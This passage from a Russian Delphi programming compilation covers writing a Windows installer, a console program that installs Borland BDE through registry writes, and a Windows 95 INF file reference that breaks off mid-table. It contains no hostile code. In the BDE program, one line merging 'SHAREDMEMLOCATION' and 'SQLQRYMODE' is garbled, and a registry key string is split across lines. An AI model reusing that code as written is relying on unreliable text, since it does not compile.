Во-первых, надо проверить наличие свободного места на целевом диске. Во-вторых, надо удостовериться,
что у нас есть доступ к нужному каталогу. В-третьих, надо проверять, нет ли уже такого файла...
Вы ещё не передумали писать программу инсталляции?

Следующий, пятый, этап — настройка системного реестра (registry).
Достаточно тривиальная процедура, правда, при инсталляции большого продукта, записывать придёться очень много.

Предпоследний, шестой, этап, заключается в создании группы программ в меню "Пуск".
Или, возможно, вы захотите вынести ярлык на рабочий стол.

Наконец, финальная часть включает демонстрацию нескольких файлов (например, readme),
затем онлайновую регистрацию (подробно на ней я останавливаться не буду) и последнее
сообщение "Инсталляция успешно завершена".

Теперь мы можем перейти к подробному рассмотрению этапов. Сейчас вы узнаете, как это делается :)

Копирование программы во временный каталог

program Setup;

uses
  Windows,
  SysUtils;

const
  ReRunParameter = '/install_from_temp_directory';

var
  TempPath: array [0..MAX_PATH] of Char;
  SrcPath: String;

begin
  if ParamStr(1) = ReRunParameter then
    SrcPath := ParamStr(2)
  else
    if GetDriveType(PChar(ParamStr(0)[1] + ':\')) = DRIVE_REMOVABLE then
    begin
      // Если программа была запущена без ключа и с дискеты, то
      // копируем её во временный каталог и перезапускам
      // Текущее приложение завершаем.
      GetTempPath(MAX_PATH, TempPath);
      // Добавлям к пути временного каталога символ '\', если его там нет
      if (StrLen(TempPath) > 0) and (TempPath[StrLen(TempPath)] <> '\') then
        StrCat(TempPath, '\');
      // Копируем файл через вызов функции CopyFile из WinAPI
      CopyFile(PChar(ParamStr(0)), PChar(String(TempPath) + ExtractFileName(ParamStr(0))), False);
      // Запускаем файл с двумя параметрами
      WinExec(PChar(String(TempPath) + ExtractFileName(ParamStr(0)) + ' ' +
        ReRunParameter + ' ' + ExtractFilePath(ParamStr(0))), CmdShow);
      Exit;
    end
    else
      SrcPath := ExtractFilePath(ParamStr(0));
  // Здесь начинается программа инсталляции
  // Переменная SrcPath показывает нам, откуда надо копировать файлы
end.
Есть две грабли, на которые можно наступить в приведённом примере.
Первые лежат в вызове функции GetTempPath.
Если у вас нет переменных окружения TMP и TEMP,
то временным каталогом станет текущий каталог программы, то есть, фактически, ваша дискета.

Вы можете проверять, не находится ли временный каталог на
сменном диске (с помощью вызова GetDriveType), и, если находиться,
считать временным каталогом C:\TEMP (если его нет — создайте самостоятельно).

Вторые грабли заключаются в том, что после завершения инсталляции программу
из временного каталога желательно удалить, но сделать этого вы не сможете,
поскольку программа в этот момент выполняется. Вспомните, что в Windows 95 и Windows NT
выполняющуся программу удалять нельзя

В общем случае, решения этой проблемы я не знаю. Собственно, поскольку файл
останется во временном каталоге, он будет одним из первых кандидатов на удаление
(если пользователь хоть когда-нибудь чистит свой временный каталог :)
Тем не менее, есть один хитрый способ удаления этого файла, о котором я расскажу ниже,
в параграфе о деинсталляции.

Примечание: Если для вас важен размер вашей инсталляции, вы можете взять только тот кусочек,
который приведён выше, и сделать из него отдельную программу (которая будет очень небольшого объёма).
Саму программу инсталляции вы предварительно сжимаете, а перед запуском распаковываете
её во временный каталог (а не копируете, как это сделано здесь).
Обратите внимание, что в этом случае программа должна распаковываться в любом случае,
а не только если она запущена с дискеты.

Запугивание пользователя законами об авторских правах

Да, есть и такой этап. Если вам всё равно придётся вывести небольшое окно и поставить пользователя в известность о
том, что вы не отвечаете за все неприятности, которые могут с ним произойти во время использования вашей программы.

Как это делается? Если вы не знаете, как сделать диалоговое окно, то,
по моему, вам ещё рано писать инсталляции. Если знаете, то выведите окно и поместите в нём нужный текст.

Как получить важные системные данные

На четвёртом этапе нам потребуются некоторые системные данные: имя пользователя и организация,
путь, куда потребуется инсталлировать программу и некоторые другие. Сейчас мы разберёмся,
как и откуда эти данные можно получить.

Имя пользователя и организация

Во время инсталляции, программы иногда запрашивают имя пользователя и его организацию.
Возможно, для работы вашей программы эти данные не понадобятся, но если они вам нужны, вы должны их запросить.
Как правило, программа инсталляции берёт эти данные из Windows
(поскольку при установке Windows пользователь их уже вводил) и просит всего лишь изменить их,
если это необходимо. Наш вопрос звучит так: где Windows хранит имя пользователя и организацию?
Я, правду сказать, не знаю. Но, пробежавшись по реестру, я обнаружил всего лишь два подходящих места,
содержащих эту информацию.
HKEY_LOCAL_MACHINE\Software\Microsoft NT\Windows\CurrentVersion\
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
RegisteredOwner = 'Имя'
RegisteredOrganization = 'Организация'
В доступной мне версии Windows 95, эти значения хранятся в ветке
HKEY_LOCAL_MACHINE, а в Windows NT — HKEY_CURRENT_USER (в подветках Windows или Windows NT).
Поскольку в этом вопросе нет ясности :) я предлагаю проверять обе ветки.
Версию операционной системы можно узнать с помощью функции GetVersionEx.

Куда копировать программу:

Можно сформулировать наш вопрос и по другому: где находиться каталог Program Files?
Некоторые инсталляции считают, что это C:\Program Files. В действительности, конечно,
он может находиться на другом диске, поэтому мы попробуем поискать его по другому... в реестре.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ ProgramFilesDir = 'D:\Program Files'

Можно воспользоваться функцией SHGetSpecialFolderLocation (это даже более корректно с точки зрения Microsoft).
Пример использования этой функции вы обнаружите несколькими файлами позже.
Для изменения каталога вы можете вызывать функции SelectDirectory или SHBrowseForFolder.
Можно также создать собственное окно диалога "Выбор каталога" с помощью компонента DirectoryListBox.
Подробнее о выборе каталога мы поговорим позднее, когда будем рассматривать тонкости процесса инсталляции.

Сколько осталось свободного места на диске

Программа инсталляции перед копированием файлов обязана проверить,
сколько на целевом диске осталось свободного дискового пространства.
Это делается при помощью функции GetDiskFreeSpace (из модуля Windows) или функции DiskFree (из модуля SysUtils).
Вторая функция — это надстройка Delphi над Win API (в смысле, она вызывает GetDiskFreeSpace),
но у неё значительно меньше параметров.

Группы программ

Обычно программа инсталляции создаёт для новой программы новую группу.
Как правило, когда вы вводите название группы, рядом присутствует список,
в котром перечислены все существующие группы. Получить такой список можно двумя способами.
Один из них — работа с DDE-сервером, который называется Program Manager.
Этот способ мы подробно рассмотрим чуть позже. Второй способ не очень сложен и
основан на том факте, что всё меню "Программы" находиться в одном из каталогов вашего диска.
Все подменю являются на самом деле подкаталогами, а пукнты — обычными ссылками
(файлами с расширением .lnk). Путь к папке, содержащей меню "Программы",
вы можете найти в реестре:
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Explorer\Shell Folders\ Programs =
'D:\WINNT\Profiles\mark\Главное меню\Программы'
Не очень сложно прочитать содержимое этого каталога с помощью функций FindFirst/FindNext.
Ниже мы и об этом поговорим подробнее, поскольку чтение содержимого каталогов потребуется
нам при написании универсальной процедуры копирования файлов.

Дальше

Автор: Неизвестен URL: www.delphi.agava.ru

Взято с сайта http://blackman.wp-club.net/


Install BDE программы

Периодически муссируются вопросы типа 'Как установить BDE?' и т.п.
Предлагаю, как пример возможного решения проблемы, след. программу .

program InstallPrfSt;
{
Программа иллюстрирует, как установить BDE с поддержкой PARADOX 7.0
на "чистой машине" и создать алиас.
Пример использования в качестве простейшего инсталлятора для программы
C:\MyDir\MyProg.exe
1.Создайте каталог C:\MyDir\BDE и скопируйте в него след. файлы:
CHARSET.BLL
OTHER.BLL
IDAPI32.CFG
BLW32.DLL
IDAPI32.DLL
IDBAT32.DLL
IDPDX32.DLL
IDR20009.DLL
IDSQL32.DLL
BDEADMIN.EXE - по вкусу, т.к. необходимым не является.
2.Измените значение константы AliasName на имя необходимого вам алиаса.
3.Откомпиллируйте и запустите эту программу из каталога C:\MyDir.
ВHИМАHИЕ!!! Если на машине уже установлено BDE, то перед экспериментами
сохраните (на всякий случай) след. ключи из реестра:
[HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Database Engine] и
[HKEY_LOCAL_MACHINE\SOFTWARE\Borland\BLW32].
Замечания, предложения по улучшению приветствуются.
Счастливо,
Константин Кочедыков / kostya@roadtech.saratov.su / }
{$APPTYPE CONSOLE}
uses
  Windows, BDE, Registry;
const
  AliasName: string = 'PrefStat';
var
  R: DBIResult;
  Path: string;

procedure WriteString(S1: string);
begin
  S1 := S1 + #0;
  AnsiToOem(@S1[1], @S1[1]);
  writeln(S1);
end;

function GetExePath(S1: string): string;
var
  I, K: Integer;
  S: string;
begin
  K := 1;
  S := '';
  for I := Length(S1) downto 1 do
    begin
      if S1[I] = '\' then
        begin
          K := I;
          Break;
        end;
    end;
  for I := 1 to K - 1 do
    S := S + S1[I];
  Result := S;
end;

procedure InstallBde;
const
  Bor: string = 'SOFTWARE\Borland';
var
  a: TRegistry;
  BPath: string;
begin
  BPath := PATH + '\BDE';
  a := TRegistry.Create;
  with a do
    begin
      RootKey := HKEY_LOCAL_MACHINE;
      OpenKey(Bor + '\Database Engine', True);
      WriteString('CONFIGFILE01', BPath + '\IDAPI32.CFG');
      WriteString('DLLPATH', BPath);
      WriteString('RESOURCE',
        '0009');
      WriteString('SaveConfig', 'WIN32');
      WriteString('UseCount', '2');
      CloseKey;
      OpenKey(Bor + '\BLW32', True);
      WriteString('BLAPIPATH', BPath);
      WriteString('LOCALE_LIB3', BPath + '\OTHER.BLL');
      WriteString('LOCALE_LIB4', BPath + '\CHARSET.BLL');
      CloseKey;
      OpenKey(Bor + '\Database Engine\Settings\SYSTEM\INIT', True);
      WriteString('AUTO ODBC', 'FALSE');
      WriteString('DATA REPOSITORY', '');
      WriteString('DEFAULT DRIVER', 'PARADOX');
      WriteString('LANGDRIVER', 'ancyrr');
      WriteString('LOCAL SHARE', 'FALSE');
      WriteString('LOW MEMORY USAGE LIMIT', '32');
      WriteString('MAXBUFSIZE', '2048');
      WriteString('MAXFILEHANDLES', '48');
      WriteString('MEMSIZE', '16');
      WriteString('MINBUFSIZE', '128');
      WriteString('SHAREDMEMLOCATION', '');
      WriteString('SHAREDMWriteString(' SQLQRYMODE', '');
        WriteString('SYSFLAGS', '0');
        WriteString('VERSION', '1.0');
        CloseKey;
        OpenKey(Bor + '\Database Engine\Settings\SYSTEM\FORMATS\DATE', True);
        WriteString('FOURDIGITYEAR', 'TRUE');
        WriteString('LEADINGZEROD', 'FALSE');
        WriteString('LEADINGZEROM', 'FALSE');
        WriteString('MODE', '1');
        WriteString('SEPARATOR', '.');
        WriteString('YEARBIASED', 'TRUE');
        CloseKey;
        OpenKey(Bor + '\Database Engine\Settings\SYSTEM\FORMATS\NUMBER', True);
        WriteString('DECIMALDIGITS', '2');
        WriteString('DECIMALSEPARATOR', ',');
        WriteString('LEADINGZERON', 'TRUE');
        WriteString('THOUSANDSEPARATOR', ' ');
        CloseKey;
        OpenKey(Bor + '\Database Engine\Settings\SYSTEM\FORMATS\TIME', True);
        WriteString('AMSTRING', 'AM');
        WriteString('MILSECONDS', 'FALSE');
        WriteString('PMSTRING', 'PM');
        WriteString('SECONDS', 'TRUE');
        WriteString('TWELVEHOUR', 'TRUE');
        CloseKey;
        OpenKey(Bor + '\Database Engine\Settings\REPOSITORIES', True);
        CloseKey;
        OpenKey(Bor + '\Database Engine\Settings\DRIVERS\PARADOX\INIT', True);
        WriteString('LANGDRIVER', 'ancyrr');
        WriteString('TYPE', 'FILE');
        WriteString('VERSION', '1.0');
        CloseKey;
        OpenKey(Bor + '\Database Engine\Settings\DRIVERS\PARADOX\TABLE
        CREATE',True);
        WriteString('BLOCK SIZE', '4096');
        WriteString('FILL FACTOR', '95');
        WriteString('LEVEL', '7');
        WriteString('STRICTINTEGRTY', 'TRUE');
        CloseKey;
    end;
  a.Free;
end;
begin
  Path := GetExePath(ParamStr(0));
  R := dbiInit(nil);
  if R <> DBIERR_NONE then
    begin
      WriteString('Инициализация BDE ...');
      InstallBDE;
    end;
  R := dbiInit(nil);
  if R = DBIERR_NONE then
    begin
      WriteString('Инициализация BDE прошла успешно');
      DbiDeleteAlias(nil, PChar(AliasName));
      R := DbiAddAlias(nil, PChar(AliasName), szPARADOX,
        PChar('PATH:' + Path + '\DB'), True);
      if R = DBIERR_NONE then
        WriteString('Псевдоним "' + AliasName + '" создан')
      else
        WriteString('Ошибка создания псевдонима "' + AliasName + '"');
      R := DbiCfgSave(nil, nil, Bool(-1));
      if R = DBIERR_NONE then
        WriteString('Файл конфигурации сохранён')
      else
        WriteString('Ошибка сохранения файла конфигурации');
      DbiExit;
    end
  else
    WriteString('Ошибка инициализации BDE');
end.

Константин Кочедыков / kostya@roadtech.saratov.su /
Взято с сайта http://blackman.wp-club.net/


Что делает inf-файл?

Он позволяет осуществить:

Создание элементов реестра
Определение инициализационных параметров (INI-settings)
Копирование файлов с дистрибутива и размещение их в системе
Инсталляция устройств
Управление другими INF-фаилами
Конфигурирование опций устройств

INF-файлы представляют собой инициализационные файлы, которые конфигурируют
устройство или приложение в вашей системе и задают его элементы в реестре.
INF-файлы обычно поставляются производителем продукта вместе с устройством
или приложением. Кроме того, можно их найти на электронных досках объявле-
ний и других on-line сервисах. INF-файлы понадобятся вам для многих обычных
(не РпР) устройств, которые вам нужно будет конфигурировать для работы с
Windows 95. Как правило, INF-файлы включают список допустимых логических
конфигураций, имена файлов драйверов устройств и г. д. В ряде случаев вам
потребуется самим писать INF-файлы для устройств или программного обеспече-
ния. Формат lNF-файлов аналогичен формату INIфайлов, которые использовались
в Windows З.х, включая квадратные скобки, ключи и разделы, используемые то-
лько Windows 95.

Структура INF-файла
Когда вы инсталлируете новое устройство. Windows ищет INF-фаилы для этого
устройства, используя при этом идентификатор устройства (device ID). Собрав
из INF-фаила всю необходимую информацию, система создает в реестре элемент
для этого устройства под ключом HKEY_LOCAL_MACHINE. Значения из INF-файла
копируются в элемент реестра, соответствующий драйверу устройства. Такие
значения, как DevLoader= и Driverdesc= включаются в элемент аппаратного
драйвера Driver=. Элемент Еnum содержит значения Driver= и ConfigFlags=.
INF-фаилы представляют собой файлы в формате ASCII, состоящие из нескольких
разделов. Каждый раздел предназначен для выполнения определенной задачи.
Имена разделов обычно заключаются в квадратные скобки. Типичные элементы
представляют собой ключ и значение, соединенные знаком равенства. В раздел
можно включить одно или несколько значений. Кроме того, в состав элемента
можно включать комментарии, отделяя их символом точки с запятой, например:

[section]
keyname=value ;эта часть строки является комментарием

Поскольку INF-файлы являются файлами формата ASCII, должен существовать
способ, с помощью которого они будут предоставлять реестру информацию в
двоичном формате. Структура INF определяет двоичный файл, который преобра-
зует ASCII-текст в двоичный формат при чтении его реестром.

Типы информационных файлов:
Layout (Формат). Определяет информацию о диске и номере версии, а также
содержит список всех файлов с указанием диска, на котором они располагают-
ся.
Selective Install (Избирательная инсталляция). Определяет части инстал-
ляции, являющиеся необязательными компонентами, а также те ее части, кото-
рые зависят от инсталляции других компонентов. Например, Microsoft Fax тре-
бует предварительной загрузки Microsoft Exchange. Вы имеете возможность уп-
равлять инсталляцией компонент этих типов.
Application/Installation, APPS.INF (Приложения/Инсталляция). Обнаружива-
ет используемые вами приложения MS-DOS и устанавливает для них параметры
окружения. Эти lNF-файлы содержат настройки и параметры для многих приложе-
ний DOS. Как правило, это самый большой информационный файл в вашей систе-
ме. В его состав входят многие виды настройки памяти, настройки расширенной
памяти (XMS), а также другие параметры, которые в Windows З.х содержались в
настройках PIF
Device Installation and Configuration (Инсталляция и конфигуриро вание
устройств). Это наиболее общий из всех информационных файлов на котором мы
до сих пор концентрировали все внимание. Эти файлы описывают параметры на-
стройки для конкретных физических устройств. Если вы имеете драйвер устрой-
ства ранних версий, в INF-файле будет содержаться информация об этом уст-
ройстве. Устройства Plug and Play, с другой стороны, помещают информацию о
себе прямо в реестр.

Общая организация lNF-файла
Раздел каждого устройства в INF-файлс состоит из следующих разделов:

Раздел [Version].
Идентифицирует INF и класс поддерживаемого устройства.
Ниже перечислен список некоторых устройств, которые вы можете включить:

adapter                 keyboard        NetService

CDROM                   MCADevices      NetTrans (сетевые транспорты)
diskdrive               media           nodriver
dispaly                 modem           PCMCIA
EISADevices             monitor         ports
Fdc                     mouse           printer
Hdc                     MTD             SCSIAdapter

Раздел [Manufacturer].
Идентифицирует производителя устройства (например, Link, Micro, и т.п.) и
соответствующих продуктов. Каждый INF-файл должен иметь по крайней мере
один раздел [ Manufacturer].

Раздел [Install].
Содержит информацию о физических атрибутах устройства и его драйверах.

Раздел [Classlnstall].
Этот раздел необязателен. Он идентифицирует новый класс для указанного уст-
ройства в INF-фаиле

Раздел [String].
Идентифицирует локализованные строки в INF-фаиле

Раздел [Miscellaneous].
Содержит информацию о том, как устройства управляются пользовательским ин-
терфейсом W95.

Элементы APPS.INF
В разделе [appname] файла APPS.INF вы найдете элементы, перечисленные в
табл. Используя эти элементы вы сможете быстрее перенести в W95 настройки
PIF из ваших старых инсталляций Windows.
Многие из приложений, перечисленных в файле APPS.INF, представляют собой
старые игры для MS-DOS. Если вы сталкиваетесь с тем, что игра не работает в
среде W95, просмотрите этот файл. Возможно, вам удастся модифицировать ка-
кой-либо из его элементов таким образом, чтобы игра запустилась или стала
работать лучше. Если вы вносите изменения в файл APPS.INF, вам потребуется
перезагрузить W95, чтобы внесенные изменения попали в реестр. Помимо редак-
тирования файла APPS.INF, некоторые из параметров вы можете изменить, от-
крыв страницу свойств конкретного приложения.
Ниже приведен пример раздела [аррname]:

[PRODIGY.EXE]
LowMem=440
EMSMen=None
XMSMem=None
Enable=lml
Disable=win,hma

В этой части файла APPS.INF раздел [appname] замещается именем исполняемого
модуля, например, PRODIGY.EXE, PARADOX.EXE и т.п.

Имя элемента реестра           Описание ключа                       Значение

ALLOWSSAVER              Позволяет появляться заставке              sav
(работает в REALMODE)    при работающих программах DOS.
                         Настройка по умолчанию

ALTENTER                 Позволяет использовать клавиатурную        аеn
                         комбинацию + для переклю-
                         чения между полноэкранным и оконным
                         режимами. Настройка по умолчанию.

ALTESC                   Позволяет использовать выход с помощью     Aes
                         клавиатурной комбинации -.
                         Настройка по умолчанию.

ALTPRTSCRN               Позволяет выполнять моментальный снимок    Psc
                         экрана с помощью клавиатурной комбинации
                         +. Настройка по умолчанию.

ALTSPACE                 Позволяет использовать клавиатурную        aps
                         комбинацию + для отображения
                         системного меню. Настройка по умолчанию.

ALTTAB                   Позволяет использовать клавиатурную ком-   Ata
                         бинацию для переключения между приложе-
                         ниями. Настройка по умолчанию.

BACKGROUND               Дает приложению указание работать в        win
                         фоновом режиме. Настройка по умолчанию.

CDROM                    Позволяет использовать драйвер MSCDEX.     cdr
(работает в REALMODE)    Настройка по умолчанию.

CLOSEONEXIT              Закрывает при выходе окно DOS. He явля-    cwe
                         ется настройкой по умолчанию.

CRTLESC                  Позволяет закрывать приложение нажатием    ces
                         клавиатурной комбинации +.
                         Настройка по умолчанию.

DETECTIDLE              Задает чувствительность в неактивном сос-   dit
                        тоянии. Настройка по умолчанию.

DISKLOCK                Позволяет осуществлять прямой доступ к      dsk
(работает в REALMODE)   диску.

EMS                     Активизирует EMS386 для программ DOS.       ems
(работает в REALMODE)   Настройка по умолчанию.

EMSLOCKED               Указывает на блокировку памяти EMS          eml

EMULATEROM              Указывает на необходимость использо-        emt
                        вания быстрой эмуляции ROM. Настройка
                        по умолчанию.

EXCLUSIVE               Работает в эксклюзивном режиме. Этот        exc
                        параметр игнорируется.

FASTPASTE               Активизирует быструю вставку из прило-      aft
                        жения. Настройка по умолчанию.

GLOBALMEM               Активизирует глобальную защиту памяти       gmp

LOWLOCKED               Указывает на то, что нижняя память          lml
                        (до 640 Кб) заблокирована. Этот параметр
                        игнорируется.

MOUSE                   Активизирует функции мыши. Настройка по     mse
(работает в REALMODE)   умолчанию.

NETWORK                 Разрешает программе DOS получать доступ     net
(работает в REALMODE)   к сетевым дискам и принтерам. Настройка
                        по умолчанию.

PRIVATECFG              Позволяет программе DOS использовать пер-   cfg
(работает в REALMODE)   сональный файл CONFIG.SYS. He является
                        настройкой по умолчанию.

REALMODE                Запускает программу в реальном режиме DOS.  dos
                        He является настройкой по умолчанию.

RETAINVRAM              Дает указание сохранить видеопамять.        rvm
                        Этот параметр игнорируется.

UNIQUESETTINGS          Запускает программы DOS в отдельных DOS-    uus
                        сеансах. Не является настройкой по
                        умолчаний.

USEHMA                  Дает указание использовать НМА (верхние     hma
                        адреса памяти). Значение по умолчанию.

VESA                    Дает программам DOS получать доступ к       vsa
(работает в REALMODE)   продвинутым графическим возможностям.

WINDOWED                Запускает приложение в окне, а не в         win
                        полноэкранном режиме. Настройка по
                        умолчанию.

WINLIE                  Не позволяет программам DOS обнаруживать    lie
                        W95. Не яаляется параметром по умолчанию.

XMSLOCKED               Дает указание блокировать память XMS.       Xml

В файле APPS.INF доступны, но не реализованы следующие параметры:

DISPLAYTBAR (dtb) Отображает панель инструментов.
EXCLMOUSE (exm) Разрешает режим монопольного использования мыши
QUICKEDIT (qme) Активизирует для мыши режим быстрого редактирования
WARNIFACTIVE (wia). Позволяет подавать предупреждения, если приложение
DOS еще активно

Справочник по разделам
В нижеприведенных таблицах описаны все ключевые слова и значения, ассоци-
ированные с конкретными разделами. Синтаксис раздела [Version] приведен ни-
же. Квадратные скобки используются для обозначения начала нового раздела.
Для того чтобы настройки INF были понятны W95 и реестру, квадратные скобки
обязательно должны присутствовать.

[Version]
Signature=$CHICAGO$
Class=name_of_class
Provider=%File_creator%
LayoutFile=filename.inf

Ключевое слово Значение       Описание

Signature      $Chicago$    Задает операционную систему для INF-файла.
                            На момент написания большинства INF-файлов
                            кодовое название Windows 95 было следующим:
                            Chicago.

Class         name_of_class Указывает класс, который будет определен в ре-
                            естре. Список общих классов устройств, которые
                            вы можете ввести сюда, приведен в данном при-
                            ложении ранее.

LayoutFile     filename.inf Эта строка определяет имя INF-файла, содержа-
                            щего имена исходного диска и файлов, которые
                            должны быть включены для инсталляции этого
                            устройства. Если его не определить, то по умол-
                            чанию файл имеет имя LAYOUT.INF. Если вы не
                            включите эти данные в раздел Version, то должны
                            будете включить в файл APPS.INF разделы
                            SourceDiskName и SourceDiskFiles.

Синтаксис раздела [Manufacturer] приведен ниже.

[Manufacturer]
"manufacturer" %string_value%=manufacturer_section

Информация раздела [Manufacturer]

Ключевое слово          Описание

"manufacturer"          Имя производителя этого устройства, заключенное в
                        кавычки. Сюда можно включить любую строку. Это клю-
                        чевое слозо является необязательным.

%string_value%          Указывает имя строки, включенной в раздел Stings
                        INF-файла. Строки должны быть заключены в символы
                        процента (%).

manufacturer_section    Указывает на раздел Manufacturer Name в INF-файле.

Раздел [Manufacturer Name] включает описания устройства для указанного уст-
ройства Ключевые слова, используемые в этом разделе, описаны в таблице.
Синтаксис этого раздела выглядит следующим образом:

[name_of_manufacturer]
description of deviсe=install_section,ID_of_device[compatible_device_IDs,...]

Информация раздела [Manufacturer Name]

Ключевое слово           Описание

description_of_device      Описание инсталлируемого устройства.
install_section            Указывает имя раздела Install для этого устройства.
ID_of_device               Идентификатор (ID) инсталлируемого устройства.
[compatible_device_IDs,...] Содержит Ссылки на устройства, совместимые с
                            данным. В этот список можно включить несколько
                            устройств, разделив их запятыми.

Раздел [File List] можно использовать для указания файлов, которые вы хоти-
те скопировать, переименовать или удалить. В зависимости от элемента разде-
ла [Install] вы можете использовать три следующих синтаксических параметра:

[file_list section]
new_filename, old_filename

Эта конструкция используется для элементов RenFiles. Допускается вклююние
любого количества элементов new_filename, old_filename.

Для элементов DelFiles используется следующий синтаксис:

[file_list section]
filename

Параметр filename обозначает имя файла, который вы хотите удалить.

Для элемента CopyFiles используется следующий синтаксис. Параметры
source_filename и temporary_filename в этой конструкции являются необязате-
льными.

[file_list section]
destination_filename,source_filename,temporary_filename

Ниже приведен образец синтаксиса раздела [Install]. Этот раздел включает
дополнительные разделы INF-файла, которые содержат описания устройства. В
правой части выражения, после знака равенства, можно указать несколько зна-
чений, разделенных запятыми.

[name_of_install_section]
LogConfig=section_name
Copyfiles=file_list_section
Renfiles=file_list_section
DelFiles=file_list_section
UpdateInis=UpdateIni_section_name
UpdateIniFields=UpdateIniFields_section_name
AddReg=AddRegitry_section
DelReg=DelRegitry_section
Ini2Reg=IniToRegistry_section
UpdateCfgSys=UpdateConfig_section
UpdateAutoBat=UpdateAutoexec_section
Reboot или Restart

Информация раздела [Install]

Ключевое слово             Значение         Описание

[name_of_install_section]                    Содержит имя устройства, соответ-
                                             ствующего информации, приведен-
                                             ной в этом разделе. В разделе
                                             ManufacturerName INF-файла дол-
                                             жна присутствовать ссылка на
                                             этот раздел

LogСonfig                section_name        Содержит информацию о разделах
                                             логической конфигурации уст-
                                             ройства. Значения section_name
                                             указывают на разделы INF-файла
                                             в которых содержится информа-
                                             ция о данном устройстве.

CopyFiles             file_list_section      Содержит информацию, необходимую
                                             для копирования указанного файла
                                             или файлов в каталог, указанный
                                             в разделе File_List. Вы можете
                                             дать системе указание скопировать
                                             отдельный файл. Для этого перед
                                             именем файла необходимо включить
                                             символ @. При этом файл будет
                                             скопирован в каталог
                                             DefaultDestDir, определенный в
                                             разделе DestinationDir INF-файла.

RenFiles             fiie_list_section       Позволяет переименовать указан-
                                             ный файл. Представляет собой
                                             указатель на раздел File_List
                                             INF-файла.

DelFiles             file_list_section       Позволяет удалить указанный
                                             файл. Представляет собой указа-
                                             тель на раздел FileList INF-файла.

UpdateInis          UpdateIni_section_name   Позволяет указать Значение INI-
                                             файла, которое вы хотите изме-
                                             нить через INF-файл. Представля-
                                             ет собой указатель на раздел
                                             Update INI.

UpdatelniFields UpdateIniFields_section_name Позволяет изменять, замещать
                                             или удалять отдельные элементы
                                             значений INI-файла (в отличие от
                                             предыдущего параметра, который
                                             изменял все значение целиком).
                                             Этот параметр представляет со-
                                             бой указатель на раздел Update
                                             IniFields.

AddReg                AddRegistry_section    Позволяет указать подключ или
                                             значение, которые требуется до-
                                             бавить в реестр. Представляет
                                             собой указатель на раздел Add
                                             Registry.

DelReg                Del_Registry_section   Позволяет указать подключ или
                                             значение, которые требуется уда-
                                             лить из реестра. Представляет
                                             собой указатель на раздел Delete
                                             Registry

Ini2Reg            IniToRegistry_section     Перемещает в реестр строки и
                                             разделы из INI-файла. Представ-
                                             ляет собой указатель на раздел
                                             Ini to Registry.

UpdateCfgSys        UpdateConfig_section     Содержит указатель на раздел
                                             Update Config. в этом разделе
                                             находятся команды, которые
                                             должны быть добавлены, удалены
                                             или переименованы в файле
                                             CONFIG.SYS.

UpdateAutoBat     UpdateAutoexec_section     Содержит указатель на раздел
                                             Update AutoExec. В этом разделе
                                             находятся команды, которые мо-
                                             дифицируют файл AUTOEXEC.BAT.

Reboot или Restart                           Команды, вызывающие перезапуск
                                             системы или перезагрузку ком-
                                             пьютера после завершения про-
                                             граммы установки.

Ниже приведен пример синтаксиса раздела [Logical Configuration]. Раздел
[LogConfig] необходимо указать в разделе [Install]. Этот раздел содержит
информацию о конфигурации системных ресурсов, включая IRQ, порты ввода/вы-
вода, каналы DMA и т. д. Для каждого включаемого элемента программа Setup
создает запись логической конфигурации в двоичном формате и включает эту
информацию в реестр в раздел driver. INF-файлы могут содержать несколько
(или ни одного) разделов [Logical Configuration]. Ключевые слова и значения
этого раздела описаны в таблице.

[LogConfig Section name]
ConfigPriority=value_of_priority
MemConfig=menory_range_settings
I/OConfig=ioport_settings
IRQConfig=irq_sectings
DMAConfig=dma_settings

Ключевое слово          Значение             Описание

ConfigPriority         value_of_priority     Содержит значение приоритета
                                             конфигурации для данного устрой-
                                             ства.

MemConfig          memory_range_settings     Указывает диапазон памяти для
                                             данного устройства.

I/OConfig           ioport_settings          Позволяет указать для устройства
                                             конфигурацию портов ввода/вывода.

IRQConfig            irq_settings            Содержит СПИСОК допустимых IRQ
                                             для данного устройства. Если
                                             устройство не использует IRQ,
                                             не следует включать эту
                                             строку в INF-файл.

DMAConfig             dma_settings           Указывает допустимые значения
                                             DMA для данного устройства.

Для параметров настройки, перечисленных в таблице, можно указывать не один,
а несколько ресурсов. Однако, в процессе инсталляции будет использован то-
лько один из ресурсов, приведенных в списке. Чтобы указать несколько ресур-
сов для одного устройства, вам потребуется создать соответствующее число
записей для каждого из ресурсов.

Ниже приведен пример синтаксиса раздела [Update AutoExec]. Имя раздела
[UpdateAutoBat] должно быть указано в разделе [Install]. Этот раздел соде-
ржит команды, манипулирующие строками в файле AUTOEXEC.BAT. Ключевые слова
и значения этого раздела приведены в таблице.

[Update_autobat_section]
CmdDelete=command
CmdAdd=command
UnSet=environmentvariablename
PreFixPath=%ldid%
RemOldPath=%ldid%
TmpDir=%ldid%

Ключевое слово        Значение              Описание

CmdDelete               command         Указывает команду, которая должна
                                        быть удалена из файла AUTOEXEC.BAT.
                                        Эта строка обрабатывается перед
                                        строкой CmdAdd.

CmdAdd                  command         Указывает команду, которую требуется
                                        добавить в файл AUTOEXEC.BAT.

UnSet          environmentvariablename  Указывает переменную окружения, кото-
                                        рую вы хотите удалить из файла
                                        AUTOEXEC.BAT.

PreFixPath               %ldid%         Позволяет включить предопределенную
                                        фиксированную переменную path в форме
                                        логического идентификатора каталога
                                        (logical directory identificator, LDID).

RemOldPath               %ldid%         Позволяет указать путь, который должен
                                        быть удален из файла AUTOEXEC.BAT.

TmpDir                   %ldid%         Позволяет указать временный каталог на
                                        время установки.

Ниже приведен пример синтаксиса раздела [Update Config]. Имя раздела
[Update_config_section] должно быть задано в разделе [Install]. Этот раздел
содержит команды манипуляции со строками в файле CONFIG.SYS. Ключевые слова
и значения этого раздела описаны в таблице.

[Update_config_section]
DevRename=current_name,new_name
DevDelete=driver_name
DevAddDev=driver_name,configkeyword
Stacks=dos_stack_values
Buffers=dos_buffer_values
Files=dos_buffer_values
LastDrive=dos_lastdrive_value

Ключевое слово               Значение                 Описание

DevRename             current_name,new_name   Позволяет переименовать драйверы
                                              устройств, вызываемые из файла
                                              CONFIG.SYS. Раздел может содержать
                                              несколько строк DevRename.
                                              Записи DevRename обрабатываются
                                              первыми, прежде, чем начнется
                                              обработка каких-либо других
